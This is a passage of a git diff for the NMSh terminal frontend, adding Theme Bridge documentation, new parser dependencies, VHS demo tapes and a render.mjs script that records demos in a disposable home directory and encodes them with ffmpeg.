vim.cmd.colorscheme('nmsh-bridge') end)` | +| Helix | `config.toml` in the Helix config directory (must be inside home) | `# NMSh Theme Bridge …` and `theme = "nmsh-bridge"`, before the first table | +| Vim | `~/.vimrc` or `~/.vim/vimrc` | `silent! execute 'set runtimepath+=' . fnameescape('') \| silent! colorscheme nmsh-bridge` | + +Every include tolerates a missing file, so an Independent target with an include left in place does nothing. + +## Host semantics + +- **OSC 7**: `file://host/path` (percent-encoded) when the shell reports a new directory. +- **OSC 133**: projected from NMSh's authenticated OSC 777 lifecycle: ready → `D;status` (if a command ran) then `A`, `B`; exec → `C`; a shell that ends mid-command closes its zone with `D` and no invented status. Nothing is written while a fullscreen program owns the terminal; anything due is written when NMSh owns the screen again. +- Sent on Ghostty, Kitty, WezTerm, iTerm2, Windows Terminal and inside tmux; OSC 7 only on Terminal.app; nothing on unknown hosts. `NMSH_SEMANTIC=0` turns both off, `=1` forces them on. NMSh never depends on them. +- **OSC 8**: NMSh-authored links (help/docs, dev-server URLs) are stored as authored cells after a target check (http/https without credentials, local `file:`) and painted only on hosts with hyperlink support; raw program OSC 8 stays the separate preserved program-output path. Copy/plain text never contains escape bytes. + +## Not in this slice + +Terminal title / OSC 0/2 ownership; terminal emulator or editor base-theme takeover (Ghostty/Kitty palettes, Zed/VS Code); delta custom styles; arbitrary Oh My Zsh theme import; the #305 module ecosystem. (An Oh My Posh prompt provider has since landed separately; see CHANGELOG.) diff --git a/docs/design/theme-families.md b/docs/design/theme-families.md index 096cd85f..d47d34be 100644 --- a/docs/design/theme-families.md +++ b/docs/design/theme-families.md @@ -6,6 +6,11 @@ and, for dark variants, text tiers). They never recolor the terminal window, editor, tab chrome, desktop appearance or any host configuration. Zed's `/appearance` still says "Appearance is configured by Zed." +Custom and imported themes now live in a Native theme library, and the +opt-in Theme Bridge can extend a theme to selected terminal tools; see +[theme-bridge.md](theme-bridge.md). With Theme Bridge Off (the default) +the statement above holds unchanged. + ## Model The configuration stores one palette id (`nmsh.palette`). Family and variant diff --git a/docs/testing/deterministic-presentation.md b/docs/testing/deterministic-presentation.md index 22d44fd9..4ea51a62 100644 --- a/docs/testing/deterministic-presentation.md +++ b/docs/testing/deterministic-presentation.md @@ -8,7 +8,7 @@ NMSH_DETERMINISTIC=1 npm run dev ``` This is a developer/testing aid for visual snapshots, integration tests, and -later VHS/demo tooling. It is opt-in and does not change the normal runtime. +the VHS demo recordings. It is opt-in and does not change the normal runtime. ## Stabilized today @@ -25,6 +25,14 @@ The fixed completion clock uses the local-time formatter, so it stabilizes the displayed hour and minute across runs on a host. It does not normalize locale, terminal width, colors, or other host presentation settings. +- Keep Awake can run against an inert backend: with `NMSH_DETERMINISTIC=1`, + `NMSH_KEEP_AWAKE_BACKEND=inert` starts the same detached NMSh-owned wait + helper without any inhibitor, and `NMSH_DEMO_AWAKE_IDLE_MS` shortens the idle + reminder delay. Both are ignored without `NMSH_DETERMINISTIC=1`. + +The VHS demo pipeline (`npm run demos`, [scripts/demos](../../scripts/demos/README.md)) +records with this mode on. + ## Deliberately unchanged This mode does not freeze `Date`, randomness, or timers globally. Shell commands, diff --git a/llms.txt b/llms.txt index c7c71d5d..a8efc62c 100644 --- a/llms.txt +++ b/llms.txt @@ -1,5 +1,7 @@ # notMyShell (NMSh) +Stable release: v0.16.0. Unreleased development continues on feature branches (see CHANGELOG.md). + notMyShell is a terminal frontend that runs on top of a real persistent shell instead of replacing the shell. Shell backends (real persistent shells, via ShellAdapter): @@ -32,35 +34,34 @@ navigation. NMSh bridges to it (/open, /open-diff) and does not clone it. ## Core capabilities -- fixed/persistent bottom input editor -- scrollable command and output history -- semantic syntax highlighting -- submitted commands retain semantic highlighting in history -- multiline editing -- shell-aware autocomplete/completion -- ghost/history suggestions +- persistent composer: Bottom, Top or Flow; one-line or two-line; multiline editing +- semantic syntax highlighting (classified against the real shell; partial input never runs) +- shell-aware completion menu and ghost suggestions - real aliases, functions, environment, cwd and shell state -- command lifecycle/activity UI -- passthrough for fullscreen/interactive terminal programs -- /copy -- /history -- /appearance -- /keyboard -- zoxide integration -- Atuin/history bridge where accurate -- fzf/fullscreen passthrough where accurate -- cross-session notices and the /resume session viewer -- local-only agent activity stats (/agents) for Claude Code and Codex CLI -- /find and /filter over the transcript -- /open and /open-diff delegation to Zed, VS Code or $VISUAL/$EDITOR +- transcript with command blocks, folding, /find and /filter, plain-text /copy +- command lifecycle and live activity feedback +- passthrough for fullscreen/interactive programs +- live sessions: windows detach instead of killing the shell; /resume, nmsh --attach +- prompt providers: NMSh Native (default), Starship, Oh My Posh, Powerlevel10k, None +- Theme Studio (/theme): built-in, imported (data-only parsers) and custom themes +- Theme Bridge (/theme-bridge, opt-in): fzf, less/man, file listing colors, bat, + tmux, Vim, Neovim, Helix; delta detected only; ownership ledger, reviewed includes +- curated tools and providers (/tools, /providers), tool configuration (/configure, + /tmux), integration health (/integrations), safe dotfiles import (/dotfiles) +- shell frameworks detected (Oh My Zsh, Powerlevel10k, Prezto, Zim, zinit, Antidote); + shell config is treated as executable, never as plain data +- Keep Awake (/caffeinate, /awake, /zoomies): OS mechanism, NMSh-owned background process +- Chroma, motion, screensavers and Vespyr (the NMSh cat); Safe glyphs, NO_COLOR, Reduced Motion +- /ask: plain requests mapped onto typed NMSh actions (optional local model) +- cross-session notices, agent activity stats (/agents), /open and /open-diff - nmsh config export/import, nmsh uninstall, nmsh doctor -- capability-driven inline images (/about) with text fallback -- no plugin manager required; read-only framework/plugin diagnostics +- NMSH_DETERMINISTIC=1 for repeatable presentation in tests and VHS demos ## NMSh is NOT - not a shell replacement - not a terminal emulator +- not a prompt theme - not an AI shell - not a command-by-command subprocess wrapper - not a Warp clone @@ -81,10 +82,14 @@ src/output/OutputBuffer.ts src/output/AnsiOutputParser.ts src/output/viewport.ts src/terminal/TerminalRenderer.ts +src/app/screenPlan.ts (one geometry plan per frame) +src/keepAwake/ (controller, panel, presentation) +src/themeBridge/ (targets, ownership ledger) ## Documentation README.md +ARCHITECTURE.md ROADMAP.md AGENTS.md CONTRIBUTING.md @@ -96,6 +101,9 @@ docs/architecture/shell-adapter.md docs/architecture/platforms.md docs/architecture/host-actions.md docs/architecture/image-surface.md +docs/design/theme-bridge.md +docs/demos.md +docs/testing/deterministic-presentation.md docs/privacy.md ## Repository diff --git a/package-lock.json b/package-lock.json index a83f65e3..3ba74bdd 100644 --- a/package-lock.json +++ b/package-lock.json @@ -10,8 +10,11 @@ "hasInstallScript": true, "license": "GPL-3.0-only", "dependencies": { + "fast-xml-parser": "5.11.2", "node-pty": "^1.1.0", - "string-width": "^8.2.0" + "smol-toml": "1.9.0", + "string-width": "^8.2.0", + "yaml": "2.9.1" }, "bin": { "nmsh": "bin/nmsh" @@ -467,6 +470,18 @@ "node": ">=18" } }, + "node_modules/@nodable/entities": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/@nodable/entities/-/entities-3.1.0.tgz", + "integrity": "sha512-LsS/DjHr+uDM647Gru/cA8+J3a3HfhttwCKLyuoyN7yXTFCxKBtSgMQBvrW9yNPa2/zDRUNuGPaH5QUFoa4arQ==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/nodable" + } + ], + "license": "MIT" + }, "node_modules/@types/node": { "version": "26.6.2", "resolved": "https://registry.npmjs.org/@types/node/-/node-26.6.2.tgz", @@ -829,6 +844,18 @@ "url": "https://github.com/chalk/ansi-regex?sponsor=1" } }, + "node_modules/anynum": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/anynum/-/anynum-1.0.1.tgz", + "integrity": "sha512-N6//FLET/tXYNM/F6ABca1oH6fWB+KlTt909Le28WMDBk8oaT4vY17DCrwg2MvmuqUKt3Ni4N5dGJ/EoBgcO6A==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/NaturalIntelligence" + } + ], + "license": "MIT" + }, "node_modules/esbuild": { "version": "0.28.2", "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.28.2.tgz", @@ -871,6 +898,45 @@ "@esbuild/win32-x64": "0.28.2" } }, + "node_modules/fast-xml-builder": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/fast-xml-builder/-/fast-xml-builder-1.3.1.tgz", + "integrity": "sha512-pIM/1n3ntFXKYrUZwW7QCK0gAW7XY+wzj1YMIV3tLDvPj/V+zTGJK5e3/4WJfwj0qWw2ElNXiTixda/R+3YSug==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/NaturalIntelligence" + } + ], + "license": "MIT", + "dependencies": { + "path-expression-matcher": "^1.6.2", + "xml-naming": "^0.3.0" + } + }, + "node_modules/fast-xml-parser": { + "version": "5.11.2", + "resolved": "https://registry.npmjs.org/fast-xml-parser/-/fast-xml-parser-5.11.2.tgz", + "integrity": "sha512-R9iDuNrQYeQut46cn2r2wHKn4HYzVDvDm5J1wW+koZewykv0yuO2HChTYeZtrULyHIDM9cj9TUXloCsueCQUog==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/NaturalIntelligence" + } + ], + "license": "MIT", + "dependencies": { + "@nodable/entities": "^3.0.1", + "fast-xml-builder": "^1.2.0", + "is-unsafe": "^2.0.0", + "path-expression-matcher": "^1.6.2", + "strnum": "^2.4.2", + "xml-naming": "^0.3.0" + }, + "bin": { + "fxparser": "src/cli/cli.js" + } + }, "node_modules/fsevents": { "version": "2.3.3", "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.3.tgz", @@ -898,6 +964,18 @@ "url": "https://github.com/sponsors/sindresorhus" } }, + "node_modules/is-unsafe": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/is-unsafe/-/is-unsafe-2.0.2.tgz", + "integrity": "sha512-HgbIHPBH0KHHCcjLfGsCvhtPTVxjaAZlXjwdz7/GQC40SjSe4sfQsar8J5VFo8JOSbarkpV0OLG95bbaNd9aAQ==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/NaturalIntelligence" + } + ], + "license": "MIT" + }, "node_modules/node-addon-api": { "version": "7.1.1", "resolved": "https://registry.npmjs.org/node-addon-api/-/node-addon-api-7.1.1.tgz", @@ -914,6 +992,33 @@ "node-addon-api": "^7.1.0" } }, + "node_modules/path-expression-matcher": { + "version": "1.6.2", + "resolved": "https://registry.npmjs.org/path-expression-matcher/-/path-expression-matcher-1.6.2.tgz", + "integrity": "sha512-enSlaiat05iasnzmgNxRj8reFdj3puY2QpNgP1aPIaVfT6nn9ICuPoFlKHk8EN22HcwewshO+mN2DGbkCEOtqQ==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/NaturalIntelligence" + } + ], + "license": "MIT", + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/smol-toml": { + "version": "1.9.0", + "resolved": "https://registry.npmjs.org/smol-toml/-/smol-toml-1.9.0.tgz", + "integrity": "sha512-hpd+HLON7HdZXqYchMM/+LaTTbdK0AU3NngIJ4KVyWbY9bfQqdL9cD+4yf6dUoU2Ap4VsU0JkQi6FxAI1B2mXQ==", + "license": "BSD-3-Clause", + "engines": { + "node": ">= 18" + }, + "funding": { + "url": "https://github.com/sponsors/cyyynthia" + } + }, "node_modules/string-width": { "version": "8.2.2", "resolved": "https://registry.npmjs.org/string-width/-/string-width-8.2.2.tgz", @@ -945,6 +1050,21 @@ "url": "https://github.com/chalk/strip-ansi?sponsor=1" } }, + "node_modules/strnum": { + "version": "2.4.2", + "resolved": "https://registry.npmjs.org/strnum/-/strnum-2.4.2.tgz", + "integrity": "sha512-rDG3Ah4TV0k1hWvLSzkZtMmLN9+eS+h3knq4MP6A42Y3Yh5qGNnOUs1jJkoSr8FG5dsL28c7KgkIBzSEykqtuw==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/NaturalIntelligence" + } + ], + "license": "MIT", + "dependencies": { + "anynum": "^1.0.1" + } + }, "node_modules/tsx": { "version": "4.23.15", "resolved": "https://registry.npmjs.org/tsx/-/tsx-4.23.15.tgz", @@ -1005,6 +1125,36 @@ "integrity": "sha512-KTDyRTYX8sWmKXAikPHHSyc63CRPETMctyjKFupcC6OBLXT3xsN0e9aF7m+mIXutFWpUXuedtowG7iLOzp0kQg==", "dev": true, "license": "MIT" + }, + "node_modules/xml-naming": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/xml-naming/-/xml-naming-0.3.0.tgz", + "integrity": "sha512-ghig2TBE/H11aOVgmahA3MhimvkBr6JIYknH/Dhdk10nXwdbIqBJsbfMxpvFPG8bAw77gN29aQWvKpmVoPlvPQ==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/NaturalIntelligence" + } + ], + "license": "MIT", + "engines": { + "node": ">=16.0.0" + } + }, + "node_modules/yaml": { + "version": "2.9.1", + "resolved": "https://registry.npmjs.org/yaml/-/yaml-2.9.1.tgz", + "integrity": "sha512-3NxN8+78OdzbT7C/WjGsyfPAtJaN3FNDsWxv7Y7mcDsT/oOmgW8BpyQQFFBnvZE3j9Y2Sdz1ULFLezL7Eb2yFw==", + "license": "ISC", + "bin": { + "yaml": "bin.mjs" + }, + "engines": { + "node": ">= 14.6" + }, + "funding": { + "url": "https://github.com/sponsors/eemeli" + } } } } diff --git a/package.json b/package.json index f98e445a..33bf6acb 100644 --- a/package.json +++ b/package.json @@ -23,7 +23,8 @@ "bench:smoke": "node scripts/timing-smoke.mjs", "verify:fast": "npm run build && npm run test:fast && git diff --check", "verify": "npm run build && npm test && git diff --check", - "verify:release": "npm run verify && npm run typecheck:bench && npm run bench:smoke" + "verify:release": "npm run verify && npm run typecheck:bench && npm run bench:smoke", + "demos": "node scripts/demos/render.mjs" }, "keywords": [ "terminal", @@ -39,8 +40,11 @@ "license": "GPL-3.0-only", "type": "module", "dependencies": { + "fast-xml-parser": "5.11.2", "node-pty": "^1.1.0", - "string-width": "^8.2.0" + "smol-toml": "1.9.0", + "string-width": "^8.2.0", + "yaml": "2.9.1" }, "devDependencies": { "@types/node": "^26.6.2", diff --git a/scripts/demos/README.md b/scripts/demos/README.md new file mode 100644 index 00000000..4e5489ad --- /dev/null +++ b/scripts/demos/README.md @@ -0,0 +1,52 @@ +# NMSh demos (VHS) + +Every animated clip and still in the README and [docs/demos.md](../../docs/demos.md) is recorded from the real NMSh build by [Charmbracelet VHS](https://github.com/charmbracelet/vhs). The `.tape` files here are the source of truth; commit a tape change together with its regenerated asset. + +```sh +npm run demos # build NMSh, record every tape +npm run demos -- main keep-awake # only these +npx tsx scripts/demos/vespyr-svg.ts # the Vespyr divider (from the real sprite) +``` + +## Requirements + +- VHS (recorded with 0.12.0), plus `ttyd` and `ffmpeg`, which VHS uses. Install them from your package manager, for example `brew install vhs` (pulls in both) on macOS; see the [VHS installation notes](https://github.com/charmbracelet/vhs#installation) for other systems. Nothing here installs them for you. +- zsh, git and `lsof`. +- The **JetBrainsMono Nerd Font** (`settings.tape` sets it) so Nerd glyphs render; without it VHS falls back to another font and icons show as boxes. + +## What a run does + +- Builds NMSh, then for each tape creates a **disposable demo home** (HOME, XDG directories, NMSh config and runtime, git config, TMPDIR) with a small fixture project at `~/Projects/demo` on branch `feature/theme-preview`. Your NMSh settings, shell rc files, history, themes, sessions and dotfiles are never read or written, and nothing personal (user, host, paths) appears in a recording. +- Uses no network: NMSh update checks are off in the demo config and npm's update notifier is disabled. +- Composes `settings.tape` (shared framing: font, size, colors, typing speed), the demo environment as `Env` lines, and the tape. VHS records PNG frames and `render.mjs` encodes the GIF (and any `# demo-still:` PNGs) itself with ffmpeg, so the palette and size do not depend on a particular VHS/ffmpeg pairing. +- Afterwards stops every process that still holds files in the demo home (frontends, the session service, shells, the Keep Awake helper), removes it, and fails if anything survives. + +## Tape conventions + +| Line | Meaning | +| --- | --- | +| `Output assets/readme/.gif` | the clip this tape produces (one per tape) | +| `# demo-still: .png s` | also save that frame as a still | +| `# demo-env: KEY=VALUE` | extra environment for this recording | +| `# demo-config: {...}` | merged into the demo NMSh config | + +Keep clips focused (5–25 s), type at a readable pace and pause after each visible change. Use `NMSH_DETERMINISTIC=1` only where it helps: it also freezes NMSh motion, so screensaver and Chroma clips leave it off. + +**Keep Awake** is recorded with `NMSH_DETERMINISTIC=1 NMSH_KEEP_AWAKE_BACKEND=inert`: the real slash command, controller, ownership record and presentation run, but the backend is an inert helper, so recording never keeps a machine awake. `NMSH_DEMO_AWAKE_IDLE_MS` shortens the idle-reminder delay for the clip; both are ignored without `NMSH_DETERMINISTIC=1`. + +**Sessions** ends the frontend with `SIGHUP`, the signal a closing terminal window sends, then reattaches with `nmsh`; nothing about the detach is simulated. + +## Tapes + +| Tape | Asset | Shows | +| --- | --- | --- | +| `main.tape` | `nmsh-demo.gif`, `nmsh-composer.png` | README hero: highlighting, a live test run, a theme change from `/theme` | +| `composer.tape` | `composer.gif` | `/prompt` one-line + Soft style, `/layout` Top and Flow | +| `themes.tape` | `themes.gif`, `theme-studio.png` | Theme Studio browsing with live preview, Duplicate → Custom | +| `sessions.tape` | `sessions.gif` | A build that keeps running while the window is gone; reattach | +| `screensavers.tape` | `screensavers.gif` | Aurora, Warp, Night Fireworks, Bouncing Vespyr, Black Hole | +| `keep-awake.tape` | `keep-awake.gif`, `keep-awake.png` | `/zoomies display`, composer edge + Status Strip, idle reminder, status, stop | +| `tools.tape` | `tools.gif` | `/providers` and the `/tools` catalog (browsing only) | +| `theme-bridge.tape` | `theme-bridge.gif` | `/theme-bridge` panel and `/integrations` health | + +This replaces the earlier asciinema/tmux recorder (`scripts/readme-demo/`), which recorded against the maintainer's real home. diff --git a/scripts/demos/composer.tape b/scripts/demos/composer.tape new file mode 100644 index 00000000..5f025bf6 --- /dev/null +++ b/scripts/demos/composer.tape @@ -0,0 +1,59 @@ +# Composer & prompts: /prompt (one-line, style) and /layout (Bottom → Top → Flow), with real results. +Output assets/readme/composer.gif + +Hide +Type "cd ~/Projects/demo && clear && nmsh" +Enter +Sleep 5s +Type "git log --oneline" +Enter +Sleep 1s +Show + +Sleep 1s +Type "/prompt" +Sleep 0.5s +Enter +Sleep 1.2s +Enter +Sleep 1s +Down +Sleep 0.4s +Down +Sleep 0.8s +Enter +Sleep 1s +Down +Sleep 0.3s +Down +Sleep 0.3s +Down +Sleep 0.8s +Right +Sleep 1.5s +Enter +Sleep 1.5s +Type "git status --short" +Enter +Sleep 2s +Type "/layout" +Sleep 0.5s +Enter +Sleep 1s +Right +Sleep 1.5s +Enter +Sleep 1s +Type "echo composer on top" +Enter +Sleep 2s +Type "/layout" +Enter +Sleep 0.8s +Right +Sleep 1.5s +Enter +Sleep 1s +Type "echo flow follows the output" +Enter +Sleep 2.5s diff --git a/scripts/demos/keep-awake.tape b/scripts/demos/keep-awake.tape new file mode 100644 index 00000000..dbb308cd --- /dev/null +++ b/scripts/demos/keep-awake.tape @@ -0,0 +1,33 @@ +# Keep Awake: start, composer edge + Status Strip, the idle reminder, stop. +# Inert backend: the real slash, controller and presentation paths, but nothing is kept awake. +Output assets/readme/keep-awake.gif +# demo-still: assets/readme/keep-awake.png 21s +# demo-env: NMSH_DETERMINISTIC=1 +# demo-env: NMSH_KEEP_AWAKE_BACKEND=inert +# demo-env: NMSH_DEMO_AWAKE_IDLE_MS=5000 +# demo-config: {"statusStrip": {"enabled": true, "clock": true, "cpu": false, "ram": false, "battery": false, "uptime": false}} + +Hide +Type "cd ~/Projects/demo && clear && nmsh" +Enter +Sleep 5s +Show + +Sleep 1s +Type "/zoomies display" +Sleep 0.8s +Enter +Sleep 2s +Type "npm test" +Enter +Sleep 3.5s +Type "# the prompt stays free while it runs" +Sleep 1s +Ctrl+U +Sleep 10s +Type "/zoomies status" +Enter +Sleep 2.5s +Type "/zoomies stop" +Enter +Sleep 3s diff --git a/scripts/demos/main.tape b/scripts/demos/main.tape new file mode 100644 index 00000000..1ff7e5b7 --- /dev/null +++ b/scripts/demos/main.tape @@ -0,0 +1,43 @@ +# Hero: what using NMSh feels like. Real NMSh, demo home, ~25 s. +Output assets/readme/nmsh-demo.gif +# demo-still: assets/readme/nmsh-composer.png 3s + +Hide +Type "cd ~/Projects/demo && clear && nmsh" +Enter +Sleep 5s +Show + +Sleep 1.5s +Type "git status --short" +Sleep 1s +Enter +Sleep 1.5s +Type "npm test" +Sleep 0.8s +Enter +Sleep 3.5s +Type "/theme" +Sleep 0.6s +Enter +Sleep 1.5s +Down +Sleep 0.5s +Down +Sleep 0.5s +Down +Sleep 0.5s +Down +Sleep 0.5s +Down +Sleep 0.5s +Down +Sleep 1.2s +Enter +Sleep 1s +Escape +Sleep 1.2s +Type "ls src test" +Sleep 0.6s +Enter +Sleep 3s diff --git a/scripts/demos/render.mjs b/scripts/demos/render.mjs new file mode 100644 index 00000000..4ccb1cb0 --- /dev/null +++ b/scripts/demos/render.mjs @@ -0,0 +1,193 @@ +#!/usr/bin/env node +/** + * Renders the README and docs/demos.md media from the VHS tapes in this + * directory, driving the real NMSh build. + * + * npm run demos every tape + * npm run demos -- main themes only these + * + * Every run gets a disposable demo home (HOME, XDG dirs, NMSh config and + * runtime, git config, TMPDIR) with a small fixture repository, so recordings + * never read or write your own NMSh settings, shell rc files, history, themes + * or sessions, and never show your username, hostname or paths. No network is + * used. Afterwards every process still holding files in the demo home + * (frontends, the session service, shells, the inert Keep Awake helper) is + * stopped and the directory is removed; the run fails if anything survives. + */ +import {execFileSync, spawnSync} from 'node:child_process'; +import {existsSync, mkdirSync, mkdtempSync, readdirSync, readFileSync, realpathSync, rmSync, statSync, symlinkSync, writeFileSync} from 'node:fs'; +import {tmpdir} from 'node:os'; +import {dirname, join, resolve} from 'node:path'; +import {fileURLToPath} from 'node:url'; + +const here = dirname(fileURLToPath(import.meta.url)); +const repo = resolve(here, '../..'); +const fail = message => { console.error(`demos: ${message}`); process.exit(1); }; + +// ---- Dependencies ---------------------------------------------------------------------- +const which = name => spawnSync('/usr/bin/env', ['which', name], {encoding: 'utf8'}).stdout.trim(); +for (const tool of ['vhs', 'ttyd', 'ffmpeg', 'git', 'zsh', 'lsof']) { + if (!which(tool)) fail(`${tool} is not installed. VHS needs ttyd and ffmpeg; see scripts/demos/README.md for installation.`); +} + +const tapes = readdirSync(here).filter(name => name.endsWith('.tape') && name !== 'settings.tape').map(name => name.slice(0, -5)).sort(); +const wanted = process.argv.slice(2); +for (const name of wanted) if (!tapes.includes(name)) fail(`unknown tape "${name}". Known: ${tapes.join(', ')}`); +const selected = wanted.length ? wanted : tapes; + +console.log('demos: building NMSh'); +const build = spawnSync('npm', ['run', 'build', '--silent'], {cwd: repo, stdio: 'inherit'}); +if (build.status !== 0) fail('npm run build failed'); + +// ---- Disposable demo home -------------------------------------------------------------- +function demoHome(configExtra = {}) { + const root = realpathSync(mkdtempSync(join(tmpdir(), 'nmsh-demo-'))); + const home = join(root, 'home'); + const dirs = {home, config: join(home, '.config'), data: join(home, '.local/share'), state: join(home, '.local/state'), + cache: join(home, '.cache'), runtime: join(root, 'run'), temp: join(root, 'tmp'), bin: join(root, 'bin')}; + for (const dir of Object.values(dirs)) mkdirSync(dir, {recursive: true, mode: 0o700}); + symlinkSync(join(repo, 'bin', 'nmsh'), join(dirs.bin, 'nmsh')); + // Quiet, ordinary shells: no first-run wizards, nothing personal. + writeFileSync(join(home, '.zshrc'), '# NMSh demo home\n'); + writeFileSync(join(home, '.zshenv'), ''); + writeFileSync(join(home, '.bashrc'), ''); + writeFileSync(join(home, '.gitconfig'), '[user]\n\tname = Demo\n\temail = demo@example.com\n[init]\n\tdefaultBranch = main\n[advice]\n\tdetachedHead = false\n'); + // NMSh as a first-time user who finished Setup, with update checks off (no network). + mkdirSync(join(dirs.config, 'nmsh'), {recursive: true}); + writeFileSync(join(dirs.config, 'nmsh', 'config.json'), `${JSON.stringify({ + onboardingComplete: true, toolsSetupComplete: true, glyphChoiceComplete: true, glyphStyle: 'nerd', + updateMode: 'off', toolUpdateChecks: 'off', installSuggestions: false, liveSessionStartup: 'ask', + ...configExtra, + }, null, 2)}\n`); + // A small project to stand in: ~/Projects/demo on feature/theme-preview with one local change. + const project = join(home, 'Projects', 'demo'); + mkdirSync(join(project, 'src'), {recursive: true}); + mkdirSync(join(project, 'test'), {recursive: true}); + writeFileSync(join(project, 'package.json'), `${JSON.stringify({name: 'demo', version: '1.0.0', type: 'module', scripts: {test: 'node --test'}}, null, 2)}\n`); + writeFileSync(join(project, 'README.md'), '# demo\n\nA tiny project for NMSh recordings.\n'); + writeFileSync(join(project, 'src', 'sum.js'), 'export const sum = (a, b) => a + b;\n'); + writeFileSync(join(project, 'test', 'sum.test.js'), "import test from 'node:test';\nimport assert from 'node:assert/strict';\nimport {sum} from '../src/sum.js';\n\nfor (const [a, b] of [[1, 2], [2, 3], [5, 8], [13, 21]]) {\n test(`sum ${a} + ${b}`, async () => {\n await new Promise(r => setTimeout(r, 350));\n assert.equal(sum(a, b), a + b);\n });\n}\n"); + writeFileSync(join(project, 'build.sh'), "#!/bin/sh\n# A deterministic stand-in for a slow build (sessions demo).\nfor step in fetch compile link package; do\n printf 'build: %s\\n' \"$step\"; sleep 2\ndone\nprintf 'build: done\\n'\n"); + execFileSync('chmod', ['+x', join(project, 'build.sh')]); + const git = (...args) => execFileSync('git', args, {cwd: project, env: {...process.env, HOME: home, GIT_CONFIG_GLOBAL: join(home, '.gitconfig'), GIT_CONFIG_NOSYSTEM: '1'}, stdio: 'ignore'}); + git('init', '-q'); + git('add', '.'); + git('commit', '-q', '-m', 'Initial demo project'); + git('switch', '-q', '-c', 'feature/theme-preview'); + writeFileSync(join(project, 'README.md'), '# demo\n\nA tiny project for NMSh recordings.\n\nNow with themes.\n'); + return {root, dirs, project}; +} + +// ---- Environment for the recorded shell ----------------------------------------------- +function demoEnv({dirs}, extra) { + const nodeDir = dirname(process.execPath); + return { + HOME: dirs.home, USER: 'demo', LOGNAME: 'demo', SHELL: '/bin/zsh', + PATH: [dirs.bin, nodeDir, '/opt/homebrew/bin', '/usr/local/bin', '/usr/bin', '/bin', '/usr/sbin', '/sbin'].join(':'), + XDG_CONFIG_HOME: dirs.config, XDG_DATA_HOME: dirs.data, XDG_STATE_HOME: dirs.state, XDG_CACHE_HOME: dirs.cache, + NMSH_RUNTIME_DIR: dirs.runtime, TMPDIR: dirs.temp, TMP: dirs.temp, TEMP: dirs.temp, + GIT_CONFIG_GLOBAL: join(dirs.home, '.gitconfig'), GIT_CONFIG_NOSYSTEM: '1', + TERM: 'xterm-256color', COLORTERM: 'truecolor', LANG: 'en_US.UTF-8', LC_ALL: 'en_US.UTF-8', + BASH_SILENCE_DEPRECATION_WARNING: '1', NPM_CONFIG_UPDATE_NOTIFIER: 'false', NPM_CONFIG_FUND: 'false', NPM_CONFIG_AUDIT: 'false', NO_UPDATE_NOTIFIER: '1', HISTFILE: join(dirs.home, '.demo_history'), + // Host markers would describe the recording machine's terminal, not the recorder. + TERM_PROGRAM: '', GHOSTTY_RESOURCES_DIR: '', KITTY_WINDOW_ID: '', VSCODE_INJECTION: '', ZED_TERM: '', + ...extra, + }; +} + +/** + * `# demo-env: KEY=VALUE` lines choose per-tape presentation (for example NMSH_DETERMINISTIC); + * `# demo-config: {...}` lines merge into the demo NMSh config (for example the Status Strip on). + */ +function tapeEnv(text) { + return Object.fromEntries([...text.matchAll(/^# demo-env: ([A-Z0-9_]+)=(\S*)$/gmu)].map(match => [match[1], match[2]])); +} + +const quote = value => `"${String(value).replaceAll('\\', '\\\\').replaceAll('"', '\\"')}"`; + +// ---- Cleanup --------------------------------------------------------------------------- +function holders(root) { + const result = spawnSync('lsof', ['-t', '+D', root], {encoding: 'utf8', timeout: 10_000}); + return result.stdout.split('\n').map(Number).filter(pid => pid > 0 && pid !== process.pid); +} + +async function cleanup(root) { + for (const signal of ['SIGTERM', 'SIGKILL']) { + for (let attempt = 0; attempt < 20; attempt += 1) { + const pids = holders(root); + if (!pids.length) return; + for (const pid of pids) { try { process.kill(pid, signal); } catch { /* gone */ } } + await new Promise(done => setTimeout(done, 250)); + } + } + const left = holders(root); + if (left.length) fail(`processes still hold the demo home after cleanup: ${left.join(', ')}`); +} + +// ---- Encode ---------------------------------------------------------------------------- +// VHS records the real terminal as PNG frames (a text layer and a cursor layer per frame); +// encoding happens here so the GIF palette, size and frame rate stay under our control and +// do not depend on the ffmpeg filter arguments a given VHS build passes. +const FPS = 24; +const BACKGROUND = '0x15141c'; +const PAD = 18; +function frameLayers(frames) { + const layer = name => existsSync(join(frames, `frame-${name}-00001.png`)) ? join(frames, `frame-${name}-%05d.png`) : undefined; + const text = layer('text'); + if (!text) fail('VHS produced no frames'); + return {text, cursor: layer('cursor')}; +} +function encodeGif(frames, output) { + const {text, cursor} = frameLayers(frames); + const inputs = ['-framerate', String(FPS), '-i', text, ...(cursor ? ['-framerate', String(FPS), '-i', cursor] : [])]; + const base = cursor ? '[0][1]overlay' : '[0]null'; + const filter = `${base},pad=iw+${PAD * 2}:ih+${PAD * 2}:${PAD}:${PAD}:color=${BACKGROUND},split[a][b];[a]palettegen=max_colors=160:stats_mode=diff[p];[b][p]paletteuse=dither=none:diff_mode=rectangle`; + mkdirSync(dirname(resolve(repo, output)), {recursive: true}); + const run = spawnSync('ffmpeg', ['-v', 'error', '-y', ...inputs, '-filter_complex', filter, resolve(repo, output)], {encoding: 'utf8'}); + if (run.status !== 0) fail(`ffmpeg could not encode ${output}: ${run.stderr}`); +} +function encodeStill(frames, output, seconds) { + const {text, cursor} = frameLayers(frames); + const index = Math.max(1, Math.round(seconds * FPS)); + const pick = pattern => pattern.replace('%05d', String(index).padStart(5, '0')); + if (!existsSync(pick(text))) fail(`${output}: no frame at ${seconds}s`); + const inputs = ['-i', pick(text), ...(cursor && existsSync(pick(cursor)) ? ['-i', pick(cursor)] : [])]; + const filter = 